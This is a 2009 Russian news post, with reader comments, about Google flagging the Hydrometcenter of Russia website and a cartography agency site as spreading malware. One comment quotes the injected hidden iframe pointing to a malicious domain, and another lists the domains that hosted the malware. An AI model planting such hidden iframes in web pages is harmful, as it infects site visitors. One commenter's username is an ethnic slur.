Сайт Гидрометцентра России заражен вирусами

отметили
44
человека
в архиве
Сайт Гидрометцентра России заражен вирусами
Вот уже несколько дней поисковик Google предупреждает пользователей о том, что официальный сайт Гидрометцентра России meteoinfo.ru может нанести вред их компьютерам. Аналогичное сообщение выдаёт браузер Google Chrome при попытке открыть страницы этого сайта.

Судя по данным StopBadWare.org, информация о том, что сайт meteoinfo.ru может быть опасен, была добавлена Google 28 июля. При этом ни McAfee SiteAdvisor, ни WebOfTrust не знают о существовании каких-либо проблем с этим ресурсом, да и Kaspersky Internet Security позволяет пользователям открывать его веб-страницы. (По данным из непроверенных источников, Avast блокирует доступ к meteoinfo.ru с такой мотивацией: "Имя вируса: HTML:Iframe-inf. Тип вируса: Вирус/Червь".)

Страница диагностики сайта, составленная в Google, уверяет, что за последнее время из 471 страниц сайта Гидрометцентра 56 были замечены "в загрузке и установке вредоносного программного обеспечения без разрешения пользователя". Вредоносное ПО включает 27 эксплойтов, при этом располагается оно на трёх сторонних доменах. Ещё 2 домена подозреваются в посредничестве в распространении вредоносов среди посетителей этого сайта, а сам meteoinfo.ru "действовал в качестве промежуточного звена в заражении других сайтов" в количестве 2 штук.
Добавил Vlad2000Plus Vlad2000Plus 1 Августа 2009
Комментарии участников:
latpost
+1
latpost, 1 Августа 2009 , url
1-я буква потерялась
Vlad2000Plus
-1
Vlad2000Plus, 1 Августа 2009 , url
Спасибо, исправил
precedent
-1
precedent, 1 Августа 2009 , url
какой — нибудь старый госфишинг?))
Netto
+1
Netto, 1 Августа 2009 , url
Интересно, кто-нибудь на этот сайт вообще ходит? Я и не знал бы о нём, если бы не этот материал. Уже давно узнаю погоду с помощью виджета Оперы с сервера гизметео. Безопасность 100%.
Zagorovskiy
+1
Zagorovskiy, 1 Августа 2009 , url
Это не единственный зараженный правительственный сайт
например сайт Роскартографии
roskart.gov.ru/
вот что выдает о нем

==============================================================================================
Занесен ли сайт roskart.gov.ru в список подозрительных веб-сайтов?

Сайт занесен в список подозрительных веб-сайтов – посещение этого сайта может нанести вред вашему компьютеру.

В некоторой части этого сайта несколько раз (3) за последние 90 дней была замечена подозрительная активность.

Что произошло во время последнего просмотра этого сайта компанией Google?

Из протестированных нами за последние 90 дней страниц данного сайта (654) в загрузке и установке вредоносного программного обеспечения без разрешения пользователя было замечено 123. Последний раз сайт просматривался Google 2009-08-01, а подозрительное содержание было обнаружено 2009-07-31.

Malicious software includes 29 exploit(s), 14 trojan(s), 5 scripting exploit(s). Successful infection resulted in an average of 1 new process(es) on the target machine.

Количество доменов, на которых размещается вредоносное ПО, равняется 13, включая x6p.in/, u5k.ru/, tintraffic.cn/.

Несколько доменов (1), по всей видимости, является промежуточными звеньями в распространении вредоносного ПО среди посетителей этого сайта, включая litecarfinestsite.cn/.

This site was hosted on 1 network(s) including AS24829 (ASTEL).

Был ли данный сайт промежуточным звеном в дальнейшем распространении вредоносного ПО?

По всей видимости, за последние 90 дней сайт roskart.gov.ru не был промежуточным звеном в заражении других сайтов.

Размещается ли на этом сайте вредоносное программное обеспечение?

Нет. За последние 90 дней на этом сайте не размещалось вредоносное программное обеспечение.

Как это произошло?

В некоторых случаях третьи лица могут добавить вредоносный код на вполне законные сайты. Предупреждающее сообщение может быть показано нами именно по этой причине.

==============================================================================================
observer
+2
observer, 1 Августа 2009 , url
Каспер тоже ругается на него, наверно руки у их админов дюже кривые :)
nigger
0
nigger, 2 Августа 2009 , url
Идем на сайт, открываем сурс, сразу же видим <iframe src="http://but77.biz/myy/index.php" width=1 height=1 style="visibility: hidden"></iframe>

Фрейм всего один, поэтому "Сайт Гидрометцентра России заражен вирусами" — журналюшечий высер.

Дело не в том, что у админов руки кривые, дело в том, что это никому не нужно.
prt
+1
prt, 2 Августа 2009 , url
Сраные вирусы! Что у тех, кто это делают руки отвалились!


Войдите или станьте участником, чтобы комментировать